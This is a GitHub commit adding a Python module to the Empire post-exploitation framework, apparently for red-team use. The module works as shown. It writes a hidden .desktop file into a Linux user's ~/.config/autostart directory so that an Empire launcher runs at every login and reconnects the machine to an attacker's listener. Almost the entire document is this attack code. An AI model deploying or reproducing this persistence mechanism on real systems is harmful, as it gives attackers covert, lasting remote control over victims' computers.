Add Linux Persistence through Autostart

Creating persistence by adding the python launcher to the ~/.config/autostart directory. This is based on the CrossRat analysis (https://digitasecurity.com/blog/2018/01/23/crossrat/) and the other links in the comments.
Tested in Ubuntu 16 and Oracle Linux 7.
php_fix
jarrodcoulter 2018-02-09 11:15:04 -06:00 committed by GitHub
parent ddc7fe833c
commit 1f58041d45
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 114 additions and 0 deletions

View File

@ -0,0 +1,114 @@
import base64
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'DesktopFile',
# list of one or more authors for the module
'Author': ['@jarrodcoulter'],
# more verbose multi-line description of the module
'Description': ('Installs an Empire launcher script in ~/.config/autostart.'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : None,
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': [https://digitasecurity.com/blog/2018/01/23/crossrat/
https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html,
https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'FileName' : {
'Description' : 'File name without extension that you would like created in ~/.config/autostart/ folder.',
'Required' : False,
'Value' : 'sec_start'
},
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
FileName = self.options['FileName']['Value']
listenerName = self.options['Listener']['Value']
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
launcher = launcher.strip('echo').strip(' | /usr/bin/python &')
dtSettings = """
[Desktop Entry]
Name=%s
Exec=python -c %s
Type=Application
NoDisplay=True
""" % (FileName, launcher)
script = """
import subprocess
import sys
import os
dtFile = \"\"\"
%s
\"\"\"
home = os.path.expanduser("~")
FilePath = home + "/.config/autostart/"
WriteFile = FilePath + "%s.desktop"
if not os.path.exists(FilePath):
os.makedirs(FilePath)
e = open(WriteFile,'wb')
e.write(dtFile)
e.close()
print "\\n[+] Persistence has been installed: ~/.config/autostart/%s"
print "\\n[+] Empire daemon has been written to %s"
""" % (dtSettings, FileName, FileName, FileName)
return script